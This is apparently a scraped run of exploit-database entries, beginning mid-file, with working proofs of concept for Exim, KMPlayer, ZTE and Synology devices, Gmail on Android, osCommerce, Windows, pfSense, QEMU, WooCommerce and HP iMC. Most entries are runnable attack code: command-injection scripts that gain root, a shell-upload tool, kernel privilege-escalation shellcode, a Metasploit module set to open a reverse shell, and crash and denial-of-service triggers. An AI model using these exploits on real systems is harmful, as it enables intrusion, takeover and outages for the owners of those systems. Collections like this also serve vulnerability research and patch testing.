"\x13\x00\x13\x00\x12\x00\x14\x00\x14\x00";


print code $data;
 
close(code);
HireHackking 
While parsing BDAT data header, exim still scans for '.' and consider it the end of mail.
https://github.com/Exim/exim/blob/master/src/src/receive.c#L1867

Exim goes into an incorrect state after this message is sent because the function pointer receive_getc is not reset. If the following command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to running out of stack.
https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L547

Here is a simple PoC which leads to an infinite loop and program crash:

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 10
.
BDAT 0


Part of debug info
============================
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30295 child 30502 ended: status=0x8b
15:36:54 30295   signal exit, signal 11 (core dumped)
15:36:54 30295 1 SMTP accept process now running
15:36:54 30295 Listening...
============================

We also found that this vulnerability can make exim hang(go into an infinite loop without crashing and run forever) even the connection is closed. It seems like this can be used to raise a resource based DoS attack.
This can be triggered using the following command:

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 100
.
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 0 LAST

// Tested on current master, ubuntu16.04.
HireHackking 
#!/usr/bin/perl
# Exploit Title: KMPlayer .nsv Denial of Service
# Date: 2017-11-22
# Exploit Author: R.Yavari
# Version: v4.2.2.4 
# Tested on: Windows 10 , Windows 7
# other version should be affected
# NSV is Streaming video container format developed by Nullsoft; used for streaming video clips over the Internet,
# such as video feeds for Winamp TV; supports multiple types of compression and can include multiple audio tracks, subtitles, and other data.
# CVE-2017-16952
# http://cdn.kmplayer.com/KMP/Download/release/chrome/4.2.2.4/KMPlayer_4.2.2.4.exe
# (D.P)

open(code, ">kmplayer.nsv") || die "can't create crash sample.$!";
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45";
print code $data;
 
close(code);
HireHackking 
# Exploit Title: ZTE ZXDSL 831 Unauthorized Configuration Access
# Date: 27/11/2017
# Exploit Author: Ibad Shah
# Vendor Homepage: zte.com.cn
# Software Link: -
# Version: - ZXDSL - 831CII
# Tested on: Windows 10
# CVE :- 2017-16953

======================================= 
The Router usually servers html files & are protected with HTTP Basic
Authentication. However, the CGI files does not protect this file from
getting exposed to public. A Simple GET request would be needed to
made to router that would give a remote attacker an opportunity to
modify router PPPoE configurations, setup malicious configurations
which later could lead to disrupt network & its activities.


Proof Of Concept
================
http://192.168.1.1/connoppp.cgi
HireHackking 
'''
SSD Advisory – Synology StorageManager smart.cgi Remote Command Execution

Full report: https://blogs.securiteam.com/index.php/archives/3540
Twitter: @SecuriTeam_SSD
Weibo: SecuriTeam_SSD


Vulnerability Summary
The following advisory describes a remote command execution vulnerability
found in Synology StorageManager.

Storage Manager is “a management application that helps you organize and
monitor the storage capacity on your Synology NAS. Depending on the model
and number of installed hard drives, Storage Manager helps you accomplish
the following tasks:

Create different types of RAID and non-RAID storage configurations, such as
volumes, disk/RAID groups, iSCSI LUNs, and iSCSI Targets.
Monitor the overall storage usage of your Synology NAS.
Inspect the health of installed hard drives and solid state drives.
Use advanced options, such as hot spare drives, SSD TRIM, SSD cache, and
more.”

Credit
An independent security researcher, Nigusu Kassahun, has reported this
vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
Synology has released patches to address this vulnerability – DSM 5.2-5967-5

For more information: https://www.synology.com/en-global/releaseNote/DS210+

Vulnerability details
User controlled input is not sufficiently sanitized, and then passed to
execve function.

Successful exploitation of this vulnerability enables a remote
unauthenticated user to run commands as root on the machine.

The vulnerable parameter can be found in
/webman/modules/StorageManager/smart.cgi with parameter
action=apply&operation=quick&disk=%2Fdev%2Fsda

Proof of Concept

===
'''

# Synology StorageManager <= 5.2 Remote Root Command Execution


import httplib


HOST = raw_input("Enter Host: ")


#IDOR to bypass auth and ticks to chain commands

conn = httplib.HTTPConnection(HOST)

conn.request("GET","/webman/modules/StorageManager/smart.cgi?action=apply&operation=quick&disk=/dev/sda`id%20>/tmp/LOL`")

res = conn.geresponse()

print res.status, res.reason
HireHackking 
'''
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1342

There is a directory traversal issue in attachment downloads in Gmail. For non-gmail accounts, there is no path sanitization on the attachment filename in the email, so when attachments are downloaded, a file with any name and any contents can be written to anywhere on the filesystem that the Gmail app can access. This bug has the following limitations:

1) the email address has to be a non-Gmail and non Gmailified (Hotmail or Yahoo)  account
2) the file can not overwrite an existing file, it has to be a file that doesn't already exist
3) there user has to click to download the attachment (and the path looks a bit weird on the screen)

It is possible to modify a EmailProviderBody database using this bug by placing a journal file in the databases directory.

Below is a PoC of an email that causes this issue. Attached is a python script that will send an email that causes this issue (don't forget to add in the to and from addresses, and your Gmail credentials). WARNING: this PoC will cause Gmail to crash repeatedly, and you will need to re-install it to get it to work again

Content-Type: multipart/mixed; boundary="---
-714A286D976BF3E58D9D671E37CBCF7C"
MIME-Version: 1.0
Subject: hello
To: <address>
From: natashenka@google.com

You will not see this in a MIME-aware mail reader.

------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: text/html

<html><body><b>test</b></body></html>

------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: audio/wav; name="../../../../data/data/com.google.android.gm/databases/EmailProviderBody.db-journal"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="test"

2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l
dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw=

------714A286D976BF3E58D9D671E37CBCF7C
'''

import os
import sys
import smtplib
import mimetypes

from optparse import OptionParser

from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import subprocess
import random


def main():



    FROM_ADDRESS = "YOUR FROM ADDRESS HERE"
    YOUR_CREDENTIAL = "GET A GOOGLE ACCOUNT TEMPORARY PASSWORD AND PUT IT HERE"
    TO_ADDRESS = "ACCOUNT TO ATTACK HERE"

    

    composed = """Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="----714A286D976BF3E58D9D671E37CBCF7C"
MIME-Version: 1.0
Subject: hello image2adfdfs1
To: """+ TO_ADDRESS +"""
From: """ + FROM_ADDRESS + """

You will not see this in a MIME-aware mail reader.

------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: text/html

<html><body><b>test</b></body></html>

------714A286D976BF3E58D9D671E37CBCF7C
Content-Type: audio/wav; name="../../../../data/data/com.google.android.gm/databases/EmailProviderBody.db-journal"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="%2e%2e%2fqpng"

2dUF+SChY9f/////AAAAABAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGRyb2lkX21l
dGFkYXRhYW5kcm9pZF9tZXRhZGF0YQNDUkVBVEUgVEFCTEUgAAAARlkAAABFSgAAAEs7AAAASSw=

------714A286D976BF3E58D9D671E37CBCF7C"""




    s = smtplib.SMTP_SSL("smtp.gmail.com")
    s.login(FROM_ADDRESS, YOUR_CREDENTIAL)
    you = TO_ADDRESS
    s.sendmail(FROM_ADDRESS, you, composed)
    s.quit()


if __name__ == '__main__':
    main()
HireHackking 
# Exploit Title: osCommerce 2.3.4.1 Authenticated Arbitrary File Upload
# Date: 11.11.2017
# Exploit Author: Simon Scannell - https://scannell-infosec.net <contact@scannell-infosec.net>
# Vendor Homepage: https://www.oscommerce.com/
# Software Link: https://www.oscommerce.com/Products&Download=oscom234
# Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
# Tested on: Linux, Windows

"""
osCommerce does by default not allow Users to upload arbitrary files from the Admin Panel. However, any user
being privileged enough to send newsletters can exploit an objection injection in the osCommerce core to
upload any file, allowing the user to gain shell access. The user does not need to be an administrator,
any account with access to the newsletters will do.
More details can be found here:
    https://scannell-infosec.net/uploading-a-shell-from-within-the-oscommerce-admin-panel-via-object-injection/
"""

import urlparse
import argparse
import sys
import requests


DEFAULT_ADMIN_URL = "/catalog/admin/"
DEFAULT_NEWSLETTER_SCRIPT = "/catalog/admin/newsletters.php"


# Builds an authenticated session and returns it if it was successful
def authenticate(username, password, url):
    # Build the Session and grab the inital cookie
    session = requests.Session()
    session.get(url + "login.php", allow_redirects=False)

    get_params = {'action': "process"}
    data = {"username": username, "password": password}

    # Attempt the authentication
    r = session.post(url + "login.php", data=data, params=get_params, allow_redirects=False)

    if r.status_code == 302:
        return session
    else:
        return False


def upload_file(local_filename, session, url):
    newsletter_script = url + "newsletters.php"
    r = session.get(newsletter_script, params={"action": "new"})

    payload = {
        'module': 'upload',
        'title': 'uploaded_fname',
        'content': './'
    }

    # Create the vulnerable newsletter and grab its ID
    r = session.post(newsletter_script, params={"action": "insert"}, data=payload, allow_redirects=False)
    try:
        newsletter_id = urlparse.urlparse(r.headers['Location']).query[4:]
        print "[+] Successfully prepared the exploit and created a new newsletter with nID %s" % (newsletter_id)
    except:
        print "[-] The script wasn't able to create a new newsletter"
        exit(1)

    # Now lock the newsletter
    r = session.post(newsletter_script, params={"action": "lock", "nID": newsletter_id})
    print "[+] Successfully locked the newsletter. Now attempting to upload.."

    # Send the final request, containing the file!
    files = {
        'uploaded_fname': open(local_filename)
    }
    r = session.post(newsletter_script, params={"action": "send", "nID": newsletter_id}, files=files)

    print "[*] Now trying to verify that the file %s uploaded.." % (local_filename)

    shell_url = url + local_filename
    r = requests.get(shell_url)
    print "[+] Got a HTTP 200 Reply for the uploaded file!"
    print "[+] The uploaded file should now be available at %s" % (shell_url)



# Main Routine starts here

usage = " %s -u TARGET_URL -a AUTH -f FILE [-p ADMIN_PATH]\n\n" \
        "Example: %s -u http://localhost/path/to/osCommerce --auth=admin:admin_password -f shell.php\n\n" \
        "NOTE: For a more detailed description on the arguments use the -h switch\n\n\n" % (sys.argv[0], sys.argv[0])


parser = argparse.ArgumentParser(description='\n\nosCommerce 2.3.4 Authenticated Arbitrary File Upload', usage=usage)
parser.add_argument('-u', '--target-url', help='The target URL, including the path to the osCommerce installation (can also be document root /)', required=True)
parser.add_argument('-a', '--auth', help='Credentials for a privileged user in the format of username:password', required=True)
parser.add_argument('-f', '--file', help="The local file to be uploaded to the vulnerable webhost", required=True)
parser.add_argument('-p', '--admin-path', help="The path for the osCommerce Admin Area. This defaults to /catalog/admin/", required=False)
args = parser.parse_args()

# Parse username and password
username = args.auth.split(":")[0]
password = args.auth.split(":")[1]


url = args.target_url
# If the user hasn't passed a path to the osCommerce Admin Panel, use the default
if not args.admin_path:
    url += DEFAULT_ADMIN_URL
else:
    url += args.admin_path

# Authenticate the user and establish the connection
session = authenticate(username, password, url)

if not session:
    print "[-] The script wasn't able to authenticate itself to osCommerce. Are you sure that the credentials are correct? Is %s the Admin Path?" % (url + "login.php")
    exit(1)
else:
    print "[+] Authentication successful"

upload_file(args.file, session, url)
HireHackking 
/* 
  EDB Note
  Source ~ https://gist.github.com/xpn/736daa4d1ff7b9869f4b3d1e9a34d315/ff2e2465d4a07588d0148dc87e77b17b41ef9d1d
  Source ~ https://blog.xpnsec.com/windows-warbird-privesc/
  Source ~ https://github.com/xpn/warbird_exploit
  Ref ~ https://bugs.chromium.org/p/project-zero/issues/detail?id=1391
*/

    // Shellcode to be executed by exploit
    const char shellcode[256] = {
	0xc7, 0x43, 0x04, 0x00, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x0c,
	0x00, 0x00, 0x00, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x5f,
	0x5e, 0x5b, 0x89, 0xec, 0x5d, 0x81, 0xc4, 0x0c, 0x00, 0x00,
	0x00, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x5e, 0x5b, 0x5f,
	0x89, 0xec, 0x5d, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x81,
	0xc4, 0x04, 0x00, 0x00, 0x00, 0x5f, 0x5e, 0x5b, 0x89, 0xec,
	0x5d, 0x81, 0xc4, 0x04, 0x00, 0x00, 0x00, 0x81, 0xc4, 0x04,
	0x00, 0x00, 0x00, 0x5f, 0x5f, 0x5e, 0x5b, 0x89, 0xec, 0x5d,
	0x60, 0x64, 0xa1, 0x24, 0x01, 0x00, 0x00, 0xc7, 0x80, 0x3e,
	0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xe8,
	0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xec,
	0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf0,
	0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf4,
	0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xf8,
	0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x80, 0xfc,
	0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x50,
	0x01, 0x00, 0x00, 0x81, 0xb8, 0x7c, 0x01, 0x00, 0x00, 0x63,
	0x6d, 0x64, 0x2e, 0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00,
	0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0xe7, 0x89, 0xc3,
	0x81, 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
	0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x2d, 0xb8,
	0x00, 0x00, 0x00, 0xeb, 0xe7, 0x8b, 0x88, 0xfc, 0x00, 0x00,
	0x00, 0x89, 0x8b, 0xfc, 0x00, 0x00, 0x00, 0x61, 0xc3, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	0xff, 0xff, 0xff, 0xff, 0xff, 0xff
    };

void exploit(void) {
	BYTE Buffer[8];
	DWORD BytesReturned;
    
	RtlZeroMemory(Buffer, sizeof(Buffer));
	NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
    
	// Copy our shellcode to the NULL page
	RtlCopyMemory(NULL, shellcode, 256);
    
	RtlZeroMemory(Buffer, sizeof(Buffer));
	NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)185, Buffer, sizeof(Buffer), &BytesReturned);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					             )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		exploit();
		break;
	}
	return TRUE;
}
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'pfSense authenticated group member RCE',
        'Description' => %q(
          pfSense, a free BSD based open source firewall distribution,
          version <= 2.3.1_1 contains a remote command execution
          vulnerability post authentication in the system_groupmanager.php page.
          Verified against 2.2.6 and 2.3.
        ),
        'Author'      =>
          [
            's4squatch', # discovery
            'h00die'     # module
          ],
        'References'  =>
          [
            [ 'EDB', '43128' ],
            [ 'URL', 'https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'unix',
        'Privileged'     => false,
        'DefaultOptions' =>
          {
            'SSL' => true,
            'PAYLOAD' => 'cmd/unix/reverse_openssl'
          },
        'Arch'           => [ ARCH_CMD ],
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'perl openssl'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'Nov 06 2017'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', 'pfsense']),
        Opt::RPORT(443)
      ], self.class
    )
  end

  def login
    res = send_request_cgi(
      'uri' => '/index.php',
      'method' => 'GET'
    )
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200

    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
    vprint_status("CSRF Token for login: #{csrf}")

    res = send_request_cgi(
      'uri' => '/index.php',
      'method' => 'POST',
      'vars_post' => {
        '__csrf_magic' => csrf,
        'usernamefld'  => datastore['USERNAME'],
        'passwordfld'  => datastore['PASSWORD'],
        'login'        => ''
      }
    )
    unless res
      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
    end
    if res.code == 302
      vprint_status('Successful Authentication')
      return res.get_cookies
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
      return nil
    end
  end

  def detect_version(cookie)
    res = send_request_cgi(
      'uri' => '/index.php',
      'method' => 'GET',
      'cookie' => cookie
    )
    unless res
      fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
    end
    /Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
    if version
      print_status("pfSense Version Detected: #{version}")
      return Gem::Version.new(version)
    end
    # If the device isn't fully setup, you get stuck at redirects to wizard.php
    # however, this does NOT stop exploitation strangely
    print_error("pfSens Version Not Detected or wizard still enabled.")
    Gem::Version.new('0.0')
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => '/index.php',
        'method'    => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
      if /Login to pfSense/ =~ res.body
        Exploit::CheckCode::Detected
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def exploit
    begin
      cookie = login
      version = detect_version(cookie)
      vprint_good('Login Successful')
      res = send_request_cgi(
        'uri'    => '/system_groupmanager.php',
        'method' => 'GET',
        'cookie' => cookie,
        'vars_get' => {
          'act' => 'new'
        }
      )

      /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
      vprint_status("CSRF Token for group creation: #{csrf}")

      group_name = rand_text_alpha(10)
      post_vars = {
        '__csrf_magic' => csrf,
        'groupname' => group_name,
        'description' => '',
        'members[]' => "0';#{payload.encoded};'",
        'groupid' => '',
        'save' => 'Save'
      }
      if version >= Gem::Version.new('2.3')
        post_vars = post_vars.merge('gtype' => 'local')
      elsif version <= Gem::Version.new('2.3') # catch for 2.2.6. left this elsif for easy expansion to other versions as needed
        post_vars = post_vars.merge(
          'act' => '',
          'gtype' => '',
          'privid' => ''
        )
      end
      send_request_cgi(
        'uri'           => '/system_groupmanager.php',
        'method'        => 'POST',
        'cookie'        => cookie,
        'vars_post'     => post_vars,
        'vars_get' => {
          'act' => 'edit'
        }
      )
      print_status("Manual removal of group #{group_name} is required.")
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end
HireHackking 
Introduced in commit f37708f6b8 (2.10).  The NBD spec says a client
can request export names up to 4096 bytes in length, even though
they should not expect success on names longer than 256.  However,
qemu hard-codes the limit of 256, and fails to filter out a client
that probes for a longer name; the result is a stack smash that can
potentially give an attacker arbitrary control over the qemu
process.

The smash can be easily demonstrated with this client:

$ qemu-io f raw nbd://localhost:10809/$(printf %3000d 1 | tr ' ' a)

If the qemu NBD server binary (whether the standalone qemu-nbd, or
the builtin server of QMP nbd-server-start) was compiled with
-fstack-protector-strong, the ability to exploit the stack smash
into arbitrary execution is a lot more difficult (but still
theoretically possible to a determined attacker, perhaps in
combination with other CVEs).  Still, crashing a running qemu (and
losing the VM) is bad enough, even if the attacker did not obtain
full execution control.
HireHackking 
# Exploit Title: WordPress woocommerce  directory traversal
# Date: 28-11-2017
# Software Link: https://wordpress.org/plugins/woocommerce/
# Exploit Author:fu2x2000
# Contact: fu2x2000@gmail.com
# Website:
# CVE:2017-17058
#Version:Tested on WordPress 4.8.3 woocommerce 2.0/3.0
# Category: webapps


1. Description

Identifying woo commerce theme pluging properly sanitized against Directory
Traversal,even the latest version of WordPress with woocommerce can be
vulnerable.

2. Proof of Concept

$woo = "www/wp-content/plugins/woocommerce/templates/emails/plain/"; `
function file_get_contents_utf8($fn) {
    $opts = array(
        'http' => array(
            'method'=>"GET",
            'header'=>"Content-Type: text/html; charset=utf-8"
        )
    );

    $wp = stream_context_create($opts);
    $result = @file_get_contents($fn,false,$wp);
    return $result;
}
/* $head= header("Content-Type: text/html; charset=utf-8"); ; */
header("Content-Type: text/html; charset=utf-8");

$result = file_get_contents_utf8("http://".$woo);

echo $result;


Regards

Fu2x200
HireHackking 
#!/opt/local/bin/python2.7

# Exploit Title: HP iMC Plat 7.2 dbman Opcode 10007 Command Injection RCE
# Date: 11-28-2017
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.hpe.com
# Software Link: https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=
# Version: iMC PLAT v7.2 (E0403) Standard
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2017-5817
# See Also: http://www.zerodayinitiative.com/advisories/ZDI-17-341/

# note that this PoC will create a file 'C:\poc.txt'

import socket, sys

ip = '192.168.1.74'
port = 2810

command = "echo PoC 12345 > C:\\poc.txt" # command to run

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))

buf = "\x00\x00\x27\x17\x00\x00\x00"
buf += chr(109 + 10 + len(command))
buf += "\x30\x81"
buf += chr(109 + 7 + len(command))
buf += "\x04\x0c"
buf += ip
buf += ("\x04\x04\x41\x41\x41\x41\x04"
"\x04\x42\x42\x42\x42\x04\x04\x43\x43\x43\x43\x02\x01\x01\x02\x01"
"\x03\x04\x06\x4d\x41\x4e\x55\x41\x4c\x04\x04\x44\x44\x44\x44\x04")
buf += chr(len(command) + 7)
buf += "\x73\x61\x22\x26\x20"
buf += command
buf += ("\x20\x26\x04\x08\x70\x61\x73\x73\x77\x6f\x72\x64\x04"
"\x04\x00\x00\x04\x57\x04\x08\x69\x6e\x73\x74\x61\x6e\x63\x65\x04"
"\x04\x45\x45\x45\x45\x04\x04\x46\x46\x46\x46\x04\x04\x47\x47\x47"
"\x47\x04\x04\x48\x48\x48\x48\x30\x00\x02\x01\x01")
sock.send(buf)

sock.close()